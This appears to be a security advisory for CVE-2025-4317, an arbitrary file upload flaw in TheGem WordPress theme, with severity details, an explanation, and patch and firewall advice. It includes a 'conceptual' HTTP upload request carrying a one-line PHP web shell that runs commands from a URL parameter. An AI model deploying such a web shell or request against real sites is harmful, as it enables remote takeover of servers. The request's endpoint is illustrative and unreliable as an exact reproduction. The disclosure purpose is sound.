Overview
The Common Vulnerabilities and Exposures (CVE) system has assigned the identifier CVE-2025-4317 to a significant security vulnerability found in TheGem theme for WordPress. This vulnerability allows for arbitrary file uploads due to missing file type validation, potentially leading to a system compromise or data leakage. This vulnerability is particularly critical as it affects all versions of TheGem up to, and including, 5.10.3. With WordPress powering over 40% of websites globally, the potential reach of this vulnerability is vast, making this a serious cybersecurity issue that website administrators should address immediately.
Vulnerability Summary
CVE ID: CVE-2025-4317
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
TheGem Theme for WordPress | Up to and including 5.10.3
How the Exploit Works
The vulnerability is based on the absence of file type validation in the thegem_get_logo_url() function within TheGem theme for WordPress. This allows an attacker with Subscriber-level access to upload arbitrary files onto the affected site’s server. Depending on the nature of the uploaded files, it could lead to remote code execution, allowing a malicious user to gain control over the system, or cause data leakage, compromising the confidentiality, integrity, and availability of the system’s data.
Conceptual Example Code
An attacker might exploit this vulnerability by uploading a PHP script file with malicious code. Here is a conceptual example of such an HTTP request:
POST /wp-content/themes/thegem/upload.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: application/php
<?php
system($_GET["cmd"]);
?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--Remediation and Mitigation
The vendor has released a patch to address this vulnerability, and it is recommended to apply this patch immediately. If for some reason the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These systems can monitor and block suspicious activities such as attempts to upload potentially malicious files. Please ensure your systems are fully updated and monitored to prevent exploitation of this significant vulnerability.